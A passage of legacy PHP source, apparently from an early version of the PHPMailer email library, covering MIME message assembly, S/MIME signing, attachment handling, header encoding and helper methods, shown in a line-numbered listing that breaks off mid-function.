| 2337 | if ($this->sign_key_file) {
| |
| 2338 | $result .= $this->GetMailMIME(); | |
| 2339 | } | |
| 2340 | ||
| 2341 | $this->SetWordWrap(); | |
| 2342 | ||
| 2343 | switch($this->message_type) {
| |
| 2344 | case 'alt': | |
| 2345 | $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', ''); | |
| 2346 | $result .= $this->EncodeString($this->AltBody, $this->Encoding); | |
| 2347 | $result .= $this->LE.$this->LE; | |
| 2348 | $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', ''); | |
| 2349 | $result .= $this->EncodeString($this->Body, $this->Encoding); | |
| 2350 | $result .= $this->LE.$this->LE; | |
| 2351 | $result .= $this->EndBoundary($this->boundary[1]); | |
| 2352 | break; | |
| 2353 | case 'plain': | |
| 2354 | $result .= $this->EncodeString($this->Body, $this->Encoding); | |
| 2355 | break; | |
| 2356 | case 'attachments': | |
| 2357 | $result .= $this->GetBoundary($this->boundary[1], '', '', ''); | |
| 2358 | $result .= $this->EncodeString($this->Body, $this->Encoding); | |
| 2359 | $result .= $this->LE; | |
| 2360 | $result .= $this->AttachAll(); | |
| 2361 | break; | |
| 2362 | case 'alt_attachments': | |
| 2363 | $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
| |
| 2364 | $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
| |
| 2365 | $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body | |
| 2366 | $result .= $this->EncodeString($this->AltBody, $this->Encoding); | |
| 2367 | $result .= $this->LE.$this->LE; | |
| 2368 | $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body | |
| 2369 | $result .= $this->EncodeString($this->Body, $this->Encoding); | |
| 2370 | $result .= $this->LE.$this->LE; | |
| 2371 | $result .= $this->EndBoundary($this->boundary[2]); | |
| 2372 | $result .= $this->AttachAll(); | |
| 2373 | break; | |
| 2374 | } | |
| 2375 | ||
| 2376 | if($this->IsError()) {
| |
| 2377 | $result = ''; | |
| 2378 | } else if ($this->sign_key_file) {
| |
| 2379 | $file = tempnam("", "mail");
| |
| 2380 | $fp = fopen($file, "w"); | |
| 2381 | fwrite($fp, $result); | |
| 2382 | fclose($fp); | |
| 2383 | $signed = tempnam("", "signed");
| |
| 2384 | ||
| 2385 | if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
| |
| 2386 | $fp = fopen($signed, "r"); | |
| 2387 | $result = fread($fp, filesize($this->sign_key_file)); | |
| 2388 | fclose($fp); | |
| 2389 | } else {
| |
| 2390 | $this->SetError($this->Lang("signing").openssl_error_string());
| |
| 2391 | $result = ''; | |
| 2392 | } | |
| 2393 | ||
| 2394 | unlink($file); | |
| 2395 | unlink($signed); | |
| 2396 | } | |
| 2397 | ||
| 2398 | return $result; | |
| 2399 | } | |
| 2400 | ||
| 2401 | /** | |
| 2402 | * Returns the start of a message boundary. | |
| 2403 | * @access private | |
| 2404 | */ | |
| 2405 | function GetBoundary($boundary, $charSet, $contentType, $encoding) {
| |
| 2406 | $result = ''; | |
| 2407 | if($charSet == '') {
| |
| 2408 | $charSet = $this->CharSet; | |
| 2409 | } | |
| 2410 | if($contentType == '') {
| |
| 2411 | $contentType = $this->ContentType; | |
| 2412 | } | |
| 2413 | if($encoding == '') {
| |
| 2414 | $encoding = $this->Encoding; | |
| 2415 | } | |
| 2416 | $result .= $this->TextLine('--' . $boundary);
| |
| 2417 | $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
| |
| 2418 | $result .= $this->LE; | |
| 2419 | $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
| |
| 2420 | $result .= $this->LE; | |
| 2421 | ||
| 2422 | return $result; | |
| 2423 | } | |
| 2424 | ||
| 2425 | /** | |
| 2426 | * Returns the end of a message boundary. | |
| 2427 | * @access private | |
| 2428 | */ | |
| 2429 | function EndBoundary($boundary) {
| |
| 2430 | return $this->LE . '--' . $boundary . '--' . $this->LE; | |
| 2431 | } | |
| 2432 | ||
| 2433 | /** | |
| 2434 | * Sets the message type. | |
| 2435 | * @access private | |
| 2436 | * @return void | |
| 2437 | */ | |
| 2438 | function SetMessageType() {
| |
| 2439 | if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
| |
| 2440 | $this->message_type = 'plain'; | |
| 2441 | } else {
| |
| 2442 | if(count($this->attachment) > 0) {
| |
| 2443 | $this->message_type = 'attachments'; | |
| 2444 | } | |
| 2445 | if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
| |
| 2446 | $this->message_type = 'alt'; | |
| 2447 | } | |
| 2448 | if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
| |
| 2449 | $this->message_type = 'alt_attachments'; | |
| 2450 | } | |
| 2451 | } | |
| 2452 | } | |
| 2453 | ||
| 2454 | /* Returns a formatted header line. | |
| 2455 | * @access private | |
| 2456 | * @return string | |
| 2457 | */ | |
| 2458 | function HeaderLine($name, $value) {
| |
| 2459 | return $name . ': ' . $value . $this->LE; | |
| 2460 | } | |
| 2461 | ||
| 2462 | /** | |
| 2463 | * Returns a formatted mail line. | |
| 2464 | * @access private | |
| 2465 | * @return string | |
| 2466 | */ | |
| 2467 | function TextLine($value) {
| |
| 2468 | return $value . $this->LE; | |
| 2469 | } | |
| 2470 | ||
| 2471 | ///////////////////////////////////////////////// | |
| 2472 | // CLASS METHODS, ATTACHMENTS | |
| 2473 | ///////////////////////////////////////////////// | |
| 2474 | ||
| 2475 | /** | |
| 2476 | * Adds an attachment from a path on the filesystem. | |
| 2477 | * Returns false if the file could not be found | |
| 2478 | * or accessed. | |
| 2479 | * @param string $path Path to the attachment. | |
| 2480 | * @param string $name Overrides the attachment name. | |
| 2481 | * @param string $encoding File encoding (see $Encoding). | |
| 2482 | * @param string $type File extension (MIME) type. | |
| 2483 | * @return bool | |
| 2484 | */ | |
| 2485 | function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
| |
| 2486 | if(!@is_file($path)) {
| |
| 2487 | $this->SetError($this->Lang('file_access') . $path);
| |
| 2488 | return false; | |
| 2489 | } | |
| 2490 | ||
| 2491 | $filename = basename($path); | |
| 2492 | if($name == '') {
| |
| 2493 | $name = $filename; | |
| 2494 | } | |
| 2495 | ||
| 2496 | $cur = count($this->attachment); | |
| 2497 | $this->attachment[$cur][0] = $path; | |
| 2498 | $this->attachment[$cur][1] = $filename; | |
| 2499 | $this->attachment[$cur][2] = $name; | |
| 2500 | $this->attachment[$cur][3] = $encoding; | |
| 2501 | $this->attachment[$cur][4] = $type; | |
| 2502 | $this->attachment[$cur][5] = false; // isStringAttachment | |
| 2503 | $this->attachment[$cur][6] = 'attachment'; | |
| 2504 | $this->attachment[$cur][7] = 0; | |
| 2505 | ||
| 2506 | return true; | |
| 2507 | } | |
| 2508 | ||
| 2509 | /** | |
| 2510 | * Attaches all fs, string, and binary attachments to the message. | |
| 2511 | * Returns an empty string on failure. | |
| 2512 | * @access private | |
| 2513 | * @return string | |
| 2514 | */ | |
| 2515 | function AttachAll() {
| |
| 2516 | /* Return text of body */ | |
| 2517 | $mime = array(); | |
| 2518 | ||
| 2519 | /* Add all attachments */ | |
| 2520 | for($i = 0; $i < count($this->attachment); $i++) {
| |
| 2521 | /* Check for string attachment */ | |
| 2522 | $bString = $this->attachment[$i][5]; | |
| 2523 | if ($bString) {
| |
| 2524 | $string = $this->attachment[$i][0]; | |
| 2525 | } else {
| |
| 2526 | $path = $this->attachment[$i][0]; | |
| 2527 | } | |
| 2528 | ||
| 2529 | $filename = $this->attachment[$i][1]; | |
| 2530 | $name = $this->attachment[$i][2]; | |
| 2531 | $encoding = $this->attachment[$i][3]; | |
| 2532 | $type = $this->attachment[$i][4]; | |
| 2533 | $disposition = $this->attachment[$i][6]; | |
| 2534 | $cid = $this->attachment[$i][7]; | |
| 2535 | ||
| 2536 | $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
| |
| 2537 | $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
| |
| 2538 | $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
| |
| 2539 | ||
| 2540 | if($disposition == 'inline') {
| |
| 2541 | $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
| |
| 2542 | } | |
| 2543 | ||
| 2544 | $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
| |
| 2545 | ||
| 2546 | /* Encode as string attachment */ | |
| 2547 | if($bString) {
| |
| 2548 | $mime[] = $this->EncodeString($string, $encoding); | |
| 2549 | if($this->IsError()) {
| |
| 2550 | return ''; | |
| 2551 | } | |
| 2552 | $mime[] = $this->LE.$this->LE; | |
| 2553 | } else {
| |
| 2554 | $mime[] = $this->EncodeFile($path, $encoding); | |
| 2555 | if($this->IsError()) {
| |
| 2556 | return ''; | |
| 2557 | } | |
| 2558 | $mime[] = $this->LE.$this->LE; | |
| 2559 | } | |
| 2560 | } | |
| 2561 | ||
| 2562 | $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
| |
| 2563 | ||
| 2564 | return join('', $mime);
| |
| 2565 | } | |
| 2566 | ||
| 2567 | /** | |
| 2568 | * Encodes attachment in requested format. Returns an | |
| 2569 | * empty string on failure. | |
| 2570 | * @access private | |
| 2571 | * @return string | |
| 2572 | */ | |
| 2573 | function EncodeFile ($path, $encoding = 'base64') {
| |
| 2574 | if(!@$fd = fopen($path, 'rb')) {
| |
| 2575 | $this->SetError($this->Lang('file_open') . $path);
| |
| 2576 | return ''; | |
| 2577 | } | |
| 2578 | $magic_quotes = get_magic_quotes_runtime(); | |
| 2579 | set_magic_quotes_runtime(0); | |
| 2580 | $file_buffer = fread($fd, filesize($path)); | |
| 2581 | $file_buffer = $this->EncodeString($file_buffer, $encoding); | |
| 2582 | fclose($fd); | |
| 2583 | set_magic_quotes_runtime($magic_quotes); | |
| 2584 | ||
| 2585 | return $file_buffer; | |
| 2586 | } | |
| 2587 | ||
| 2588 | /** | |
| 2589 | * Encodes string to requested format. Returns an | |
| 2590 | * empty string on failure. | |
| 2591 | * @access private | |
| 2592 | * @return string | |
| 2593 | */ | |
| 2594 | function EncodeString ($str, $encoding = 'base64') {
| |
| 2595 | $encoded = ''; | |
| 2596 | switch(strtolower($encoding)) {
| |
| 2597 | case 'base64': | |
| 2598 | /* chunk_split is found in PHP >= 3.0.6 */ | |
| 2599 | $encoded = chunk_split(base64_encode($str), 76, $this->LE); | |
| 2600 | break; | |
| 2601 | case '7bit': | |
| 2602 | case '8bit': | |
| 2603 | $encoded = $this->FixEOL($str); | |
| 2604 | if (substr($encoded, -(strlen($this->LE))) != $this->LE) | |
| 2605 | $encoded .= $this->LE; | |
| 2606 | break; | |
| 2607 | case 'binary': | |
| 2608 | $encoded = $str; | |
| 2609 | break; | |
| 2610 | case 'quoted-printable': | |
| 2611 | $encoded = $this->EncodeQP($str); | |
| 2612 | break; | |
| 2613 | default: | |
| 2614 | $this->SetError($this->Lang('encoding') . $encoding);
| |
| 2615 | break; | |
| 2616 | } | |
| 2617 | return $encoded; | |
| 2618 | } | |
| 2619 | ||
| 2620 | /** | |
| 2621 | * Encode a header string to best of Q, B, quoted or none. | |
| 2622 | * @access private | |
| 2623 | * @return string | |
| 2624 | */ | |
| 2625 | function EncodeHeader ($str, $position = 'text') {
| |
| 2626 | $x = 0; | |
| 2627 | ||
| 2628 | switch (strtolower($position)) {
| |
| 2629 | case 'phrase': | |
| 2630 | if (!preg_match('/[\200-\377]/', $str)) {
| |
| 2631 | /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */ | |
| 2632 | $encoded = addcslashes($str, "\0..\37\177\\\""); | |
| 2633 | if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
| |
| 2634 | return ($encoded); | |
| 2635 | } else {
| |
| 2636 | return ("\"$encoded\"");
| |
| 2637 | } | |
| 2638 | } | |
| 2639 | $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
| |
| 2640 | break; | |
| 2641 | case 'comment': | |
| 2642 | $x = preg_match_all('/[()"]/', $str, $matches);
| |
| 2643 | /* Fall-through */ | |
| 2644 | case 'text': | |
| 2645 | default: | |
| 2646 | $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
| |
| 2647 | break; | |
| 2648 | } | |
| 2649 | ||
| 2650 | if ($x == 0) {
| |
| 2651 | return ($str); | |
| 2652 | } | |
| 2653 | ||
| 2654 | $maxlen = 75 - 7 - strlen($this->CharSet); | |
| 2655 | /* Try to select the encoding which should produce the shortest output */ | |
| 2656 | if (strlen($str)/3 < $x) {
| |
| 2657 | $encoding = 'B'; | |
| 2658 | if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
| |
| 2659 | // Use a custom function which correctly encodes and wraps long | |
| 2660 | // multibyte strings without breaking lines within a character | |
| 2661 | $encoded = $this->Base64EncodeWrapMB($str); | |
| 2662 | } else {
| |
| 2663 | $encoded = base64_encode($str); | |
| 2664 | $maxlen -= $maxlen % 4; | |
| 2665 | $encoded = trim(chunk_split($encoded, $maxlen, "\n")); | |
| 2666 | } | |
| 2667 | } else {
| |
| 2668 | $encoding = 'Q'; | |
| 2669 | $encoded = $this->EncodeQ($str, $position); | |
| 2670 | $encoded = $this->WrapText($encoded, $maxlen, true); | |
| 2671 | $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
| |
| 2672 | } | |
| 2673 | ||
| 2674 | $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
| |
| 2675 | $encoded = trim(str_replace("\n", $this->LE, $encoded));
| |
| 2676 | ||
| 2677 | return $encoded; | |
| 2678 | } | |
| 2679 | ||
| 2680 | /** | |
| 2681 | * Checks if a string contains multibyte characters. | |
| 2682 | * @access private | |
| 2683 | * @param string $str multi-byte text to wrap encode | |
| 2684 | * @return bool | |
| 2685 | */ | |
| 2686 | function HasMultiBytes($str) {
| |
| 2687 | if (function_exists('mb_strlen')) {
| |
| 2688 | return (strlen($str) > mb_strlen($str, $this->CharSet)); | |
| 2689 | } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
| |
| 2690 | return False; | |
| 2691 | } | |
| 2692 | } | |
| 2693 | ||
| 2694 | /** | |
| 2695 | * Correctly encodes and wraps long multibyte strings for mail headers | |
| 2696 | * without breaking lines within a character. | |
| 2697 | * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php | |
| 2698 | * @access private | |
| 2699 | * @param string $str multi-byte text to wrap encode | |
| 2700 | * @return string | |
| 2701 | */ | |
| 2702 | function Base64EncodeWrapMB($str) {
| |
| 2703 | $start = "=?".$this->CharSet."?B?"; | |
| 2704 | $end = "?="; | |
| 2705 | $encoded = ""; | |
| 2706 | ||
| 2707 | $mb_length = mb_strlen($str, $this->CharSet); | |
| 2708 | // Each line must have length <= 75, including $start and $end | |
| 2709 | $length = 75 - strlen($start) - strlen($end); | |
| 2710 | // Average multi-byte ratio | |
| 2711 | $ratio = $mb_length / strlen($str); | |
| 2712 | // Base64 has a 4:3 ratio | |
| 2713 | $offset = $avgLength = floor($length * $ratio * .75); | |
| 2714 | ||
| 2715 | for ($i = 0; $i < $mb_length; $i += $offset) {
| |
| 2716 | $lookBack = 0; | |
| 2717 | ||
| 2718 | do {
| |
| 2719 | $offset = $avgLength - $lookBack; | |
| 2720 | $chunk = mb_substr($str, $i, $offset, $this->CharSet); | |
| 2721 | $chunk = base64_encode($chunk); | |
| 2722 | $lookBack++; | |
| 2723 | } | |
| 2724 | while (strlen($chunk) > $length); | |
| 2725 | ||
| 2726 | $encoded .= $chunk . $this->LE; | |
| 2727 | } | |
| 2728 | ||
| 2729 | // Chomp the last linefeed | |
| 2730 | $encoded = substr($encoded, 0, -strlen($this->LE)); | |
| 2731 | return $encoded; | |
| 2732 | } | |
| 2733 | ||
| 2734 | /** | |
| 2735 | * Encode string to quoted-printable. | |
| 2736 | * @access private | |
| 2737 | * @return string | |
| 2738 | */ | |
| 2739 | function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
| |
| 2740 | $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
| |
| 2741 | $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
| |
| 2742 | $eol = "\r\n"; | |
| 2743 | $escape = '='; | |
| 2744 | $output = ''; | |
| 2745 | while( list(, $line) = each($lines) ) {
| |
| 2746 | $linlen = strlen($line); | |
| 2747 | $newline = ''; | |
| 2748 | for($i = 0; $i < $linlen; $i++) {
| |
| 2749 | $c = substr( $line, $i, 1 ); | |
| 2750 | $dec = ord( $c ); | |
| 2751 | if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
| |
| 2752 | $c = '=2E'; | |
| 2753 | } | |
| 2754 | if ( $dec == 32 ) {
| |
| 2755 | if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
| |
| 2756 | $c = '=20'; | |
| 2757 | } else if ( $space_conv ) {
| |
| 2758 | $c = '=20'; | |
| 2759 | } | |
| 2760 | } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
| |
| 2761 | $h2 = floor($dec/16); | |
| 2762 | $h1 = floor($dec%16); | |
| 2763 | $c = $escape.$hex[$h2].$hex[$h1]; | |
| 2764 | } | |
| 2765 | if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
| |
| 2766 | $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay | |
| 2767 | $newline = ''; | |
| 2768 | // check if newline first character will be point or not | |
| 2769 | if ( $dec == 46 ) {
| |
| 2770 | $c = '=2E'; | |
| 2771 | } | |
| 2772 | } | |
| 2773 | $newline .= $c; | |
| 2774 | } // end of for | |
| 2775 | $output .= $newline.$eol; | |
| 2776 | } // end of while | |
| 2777 | return trim($output); | |
| 2778 | } | |
| 2779 | ||
| 2780 | /** | |
| 2781 | * Encode string to q encoding. | |
| 2782 | * @access private | |
| 2783 | * @return string | |
| 2784 | */ | |
| 2785 | function EncodeQ ($str, $position = 'text') {
| |
| 2786 | /* There should not be any EOL in the string */ | |
| 2787 | $encoded = preg_replace("[\r\n]", '', $str);
| |
| 2788 | ||
| 2789 | switch (strtolower($position)) {
| |
| 2790 | case 'phrase': | |
| 2791 | $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
| |
| 2792 | break; | |
| 2793 | case 'comment': | |
| 2794 | $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
| |
| 2795 | case 'text': | |
| 2796 | default: | |
| 2797 | /* Replace every high ascii, control =, ? and _ characters */ | |
| 2798 | $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
| |
| 2799 | "'='.sprintf('%02X', ord('\\1'))", $encoded);
| |
| 2800 | break; | |
| 2801 | } | |
| 2802 | ||
| 2803 | /* Replace every spaces to _ (more readable than =20) */ | |
| 2804 | $encoded = str_replace(' ', '_', $encoded);
| |
| 2805 | ||
| 2806 | return $encoded; | |
| 2807 | } | |
| 2808 | ||
| 2809 | /** | |
| 2810 | * Adds a string or binary attachment (non-filesystem) to the list. | |
| 2811 | * This method can be used to attach ascii or binary data, | |
| 2812 | * such as a BLOB record from a database. | |
| 2813 | * @param string $string String attachment data. | |
| 2814 | * @param string $filename Name of the attachment. | |
| 2815 | * @param string $encoding File encoding (see $Encoding). | |
| 2816 | * @param string $type File extension (MIME) type. | |
| 2817 | * @return void | |
| 2818 | */ | |
| 2819 | function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
| |
| 2820 | /* Append to $attachment array */ | |
| 2821 | $cur = count($this->attachment); | |
| 2822 | $this->attachment[$cur][0] = $string; | |
| 2823 | $this->attachment[$cur][1] = $filename; | |
| 2824 | $this->attachment[$cur][2] = $filename; | |
| 2825 | $this->attachment[$cur][3] = $encoding; | |
| 2826 | $this->attachment[$cur][4] = $type; | |
| 2827 | $this->attachment[$cur][5] = true; // isString | |
| 2828 | $this->attachment[$cur][6] = 'attachment'; | |
| 2829 | $this->attachment[$cur][7] = 0; | |
| 2830 | } | |
| 2831 | ||
| 2832 | /** | |
| 2833 | * Adds an embedded attachment. This can include images, sounds, and | |
| 2834 | * just about any other document. Make sure to set the $type to an | |
| 2835 | * image type. For JPEG images use "image/jpeg" and for GIF images | |
| 2836 | * use "image/gif". | |
| 2837 | * @param string $path Path to the attachment. | |
| 2838 | * @param string $cid Content ID of the attachment. Use this to identify | |
| 2839 | * the Id for accessing the image in an HTML form. | |
| 2840 | * @param string $name Overrides the attachment name. | |
| 2841 | * @param string $encoding File encoding (see $Encoding). | |
| 2842 | * @param string $type File extension (MIME) type. | |
| 2843 | * @return bool | |
| 2844 | */ | |
| 2845 | function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
| |
| 2846 | ||
| 2847 | if(!@is_file($path)) {
| |
| 2848 | $this->SetError($this->Lang('file_access') . $path);
| |
| 2849 | return false; | |
| 2850 | } | |
| 2851 | ||
| 2852 | $filename = basename($path); | |
| 2853 | if($name == '') {
| |
| 2854 | $name = $filename; | |
| 2855 | } | |
| 2856 | ||
| 2857 | /* Append to $attachment array */ | |
| 2858 | $cur = count($this->attachment); | |
| 2859 | $this->attachment[$cur][0] = $path; | |
| 2860 | $this->attachment[$cur][1] = $filename; | |
| 2861 | $this->attachment[$cur][2] = $name; | |
| 2862 | $this->attachment[$cur][3] = $encoding; | |
| 2863 | $this->attachment[$cur][4] = $type; | |
| 2864 | $this->attachment[$cur][5] = false; | |
| 2865 | $this->attachment[$cur][6] = 'inline'; | |
| 2866 | $this->attachment[$cur][7] = $cid; | |
| 2867 | ||
| 2868 | return true; | |
| 2869 | } | |
| 2870 | ||
| 2871 | /** | |
| 2872 | * Returns true if an inline attachment is present. | |
| 2873 | * @access private | |
| 2874 | * @return bool | |
| 2875 | */ | |
| 2876 | function InlineImageExists() {
| |
| 2877 | $result = false; | |
| 2878 | for($i = 0; $i < count($this->attachment); $i++) {
| |
| 2879 | if($this->attachment[$i][6] == 'inline') {
| |
| 2880 | $result = true; | |
| 2881 | break; | |
| 2882 | } | |
| 2883 | } | |
| 2884 | ||
| 2885 | return $result; | |
| 2886 | } | |
| 2887 | ||
| 2888 | ///////////////////////////////////////////////// | |
| 2889 | // CLASS METHODS, MESSAGE RESET | |
| 2890 | ///////////////////////////////////////////////// | |
| 2891 | ||
| 2892 | /** | |
| 2893 | * Clears all recipients assigned in the TO array. Returns void. | |
| 2894 | * @return void | |
| 2895 | */ | |
| 2896 | function ClearAddresses() {
| |
| 2897 | $this->to = array(); | |
| 2898 | } | |
| 2899 | ||
| 2900 | /** | |
| 2901 | * Clears all recipients assigned in the CC array. Returns void. | |
| 2902 | * @return void | |
| 2903 | */ | |
| 2904 | function ClearCCs() {
| |
| 2905 | $this->cc = array(); | |
| 2906 | } | |
| 2907 | ||
| 2908 | /** | |
| 2909 | * Clears all recipients assigned in the BCC array. Returns void. | |
| 2910 | * @return void | |
| 2911 | */ | |
| 2912 | function ClearBCCs() {
| |
| 2913 | $this->bcc = array(); | |
| 2914 | } | |
| 2915 | ||
| 2916 | /** | |
| 2917 | * Clears all recipients assigned in the ReplyTo array. Returns void. | |
| 2918 | * @return void | |
| 2919 | */ | |
| 2920 | function ClearReplyTos() {
| |
| 2921 | $this->ReplyTo = array(); | |
| 2922 | } | |
| 2923 | ||
| 2924 | /** | |
| 2925 | * Clears all recipients assigned in the TO, CC and BCC | |
| 2926 | * array. Returns void. | |
| 2927 | * @return void | |
| 2928 | */ | |
| 2929 | function ClearAllRecipients() {
| |
| 2930 | $this->to = array(); | |
| 2931 | $this->cc = array(); | |
| 2932 | $this->bcc = array(); | |
| 2933 | } | |
| 2934 | ||
| 2935 | /** | |
| 2936 | * Clears all previously set filesystem, string, and binary | |
| 2937 | * attachments. Returns void. | |
| 2938 | * @return void | |
| 2939 | */ | |
| 2940 | function ClearAttachments() {
| |
| 2941 | $this->attachment = array(); | |
| 2942 | } | |
| 2943 | ||
| 2944 | /** | |
| 2945 | * Clears all custom headers. Returns void. | |
| 2946 | * @return void | |
| 2947 | */ | |
| 2948 | function ClearCustomHeaders() {
| |
| 2949 | $this->CustomHeader = array(); | |
| 2950 | } | |
| 2951 | ||
| 2952 | ///////////////////////////////////////////////// | |
| 2953 | // CLASS METHODS, MISCELLANEOUS | |
| 2954 | ///////////////////////////////////////////////// | |
| 2955 | ||
| 2956 | /** | |
| 2957 | * Adds the error message to the error container. | |
| 2958 | * Returns void. | |
| 2959 | * @access private | |
| 2960 | * @return void | |
| 2961 | */ | |
| 2962 | function SetError($msg) {
| |
| 2963 | $this->error_count++; | |
| 2964 | $this->ErrorInfo = $msg; | |
| 2965 | } | |
| 2966 | ||
| 2967 | /** | |
| 2968 | * Returns the proper RFC 822 formatted date. | |
| 2969 | * @access private | |
| 2970 | * @return string | |
| 2971 | */ | |
| 2972 | function RFCDate() {
| |
| 2973 | $tz = date('Z');
| |
| 2974 | $tzs = ($tz < 0) ? '-' : '+'; | |
| 2975 | $tz = abs($tz); | |
| 2976 | $tz = (int)($tz/3600)*100 + ($tz%3600)/60; | |
| 2977 | $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
| |
| 2978 | ||
| 2979 | return $result; | |
| 2980 | } | |
| 2981 | ||
| 2982 | /** | |
| 2983 | * Returns the appropriate server variable. Should work with both | |
| 2984 | * PHP 4.1.0+ as well as older versions. Returns an empty string | |
| 2985 | * if nothing is found. | |
| 2986 | * @access private | |
| 2987 | * @return mixed | |
| 2988 | */ | |
| 2989 | function ServerVar($varName) {
| |
| 2990 | global $HTTP_SERVER_VARS; | |
| 2991 | global $HTTP_ENV_VARS; | |
| 2992 | ||
| 2993 | if(!isset($_SERVER)) {
| |
| 2994 | $_SERVER = $HTTP_SERVER_VARS; | |
| 2995 | if(!isset($_SERVER['REMOTE_ADDR'])) {
| |
| 2996 | $_SERVER = $HTTP_ENV_VARS; // must be Apache | |
| 2997 | } | |
| 2998 | } | |
| 2999 | ||
| 3000 | if(isset($_SERVER[$varName])) {
| |
| 3001 | return $_SERVER[$varName]; | |
| 3002 | } else {
| |
| 3003 | return ''; | |
| 3004 | } | |
| 3005 | } | |
| 3006 | ||
| 3007 | /** | |
| 3008 | * Returns the server hostname or 'localhost.localdomain' if unknown. | |
| 3009 | * @access private | |
| 3010 | * @return string | |
| 3011 | */ | |
| 3012 | function ServerHostname() {
| |
| 3013 | if ($this->Hostname != '') {
| |
| 3014 | $result = $this->Hostname; | |
| 3015 | } elseif ($this->ServerVar('SERVER_NAME') != '') {
| |
| 3016 | $result = $this->ServerVar('SERVER_NAME');
| |
| 3017 | } else {
| |
| 3018 | $result = 'localhost.localdomain'; | |
| 3019 | } | |
| 3020 | ||
| 3021 | return $result; | |
| 3022 | } | |
| 3023 | ||
| 3024 | /** | |
| 3025 | * Returns a message in the appropriate language. | |
| 3026 | * @access private | |
| 3027 | * @return string | |
| 3028 | */ | |
| 3029 | function Lang($key) {
| |
| 3030 | if(count($this->language) < 1) {
| |
| 3031 | $this->SetLanguage('en'); // set the default language
| |
| 3032 | } | |
| 3033 | ||
| 3034 | if(isset($this->language[$key])) {
| |
| 3035 | return $this->language[$key]; | |
| 3036 | } else {
| |
| 3037 | return 'Language string failed to load: ' . $key; | |
| 3038 | } | |
| 3039 | } | |
| 3040 | ||
| 3041 | /** | |
| 3042 | * Returns true if an error occurred. | |
| 3043 | * @return bool | |
| 3044 | */ | |
| 3045 | function IsError() {
| |
| 3046 | return ($this->error_count > 0); | |
| 3047 | } | |
| 3048 | ||
| 3049 | /** | |
| 3050 | * Changes every end of line from CR or LF to CRLF. | |
| 3051 | * @access private | |
| 3052 | * @return string | |
| 3053 | */ | |
| 3054 | function FixEOL($str) {
| |
| 3055 | $str = str_replace("\r\n", "\n", $str);
| |
| 3056 | $str = str_replace("\r", "\n", $str);
| |
| 3057 | $str = str_replace("\n", $this->LE, $str);
| |
| 3058 | return $str; | |
| 3059 | } | |
| 3060 | ||
| 3061 | /** | |
| 3062 | * Adds a custom header. | |
| 3063 | * @return void | |
| 3064 | */ | |
| 3065 | function AddCustomHeader($custom_header) {
| |
| 3066 | $this->CustomHeader[] = explode(':', $custom_header, 2);
| |
| 3067 | } | |
| 3068 | ||
| 3069 | /** | |
| 3070 | * Evaluates the message and returns modifications for inline images and backgrounds | |
| 3071 | * @access public | |
| 3072 | * @return $message | |
| 3073 | */ | |
| 3074 | function MsgHTML($message,$basedir='') {
| |
| 3075 | preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
| |
| 3076 | if(isset($images[2])) {
| |
| 3077 | foreach($images[2] as $i => $url) {
| |
| 3078 | // do not change urls for absolute images (thanks to corvuscorax) | |
| 3079 | if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
| |
| 3080 | $filename = basename($url); | |
| 3081 | $directory = dirname($url); | |
| 3082 | ($directory == '.')?$directory='':''; | |
| 3083 | $cid = 'cid:' . md5($filename); | |
| 3084 | $fileParts = split("\.", $filename);
| |
| 3085 | $ext = $fileParts[1]; | |
| 3086 | $mimeType = $this->_mime_types($ext); | |
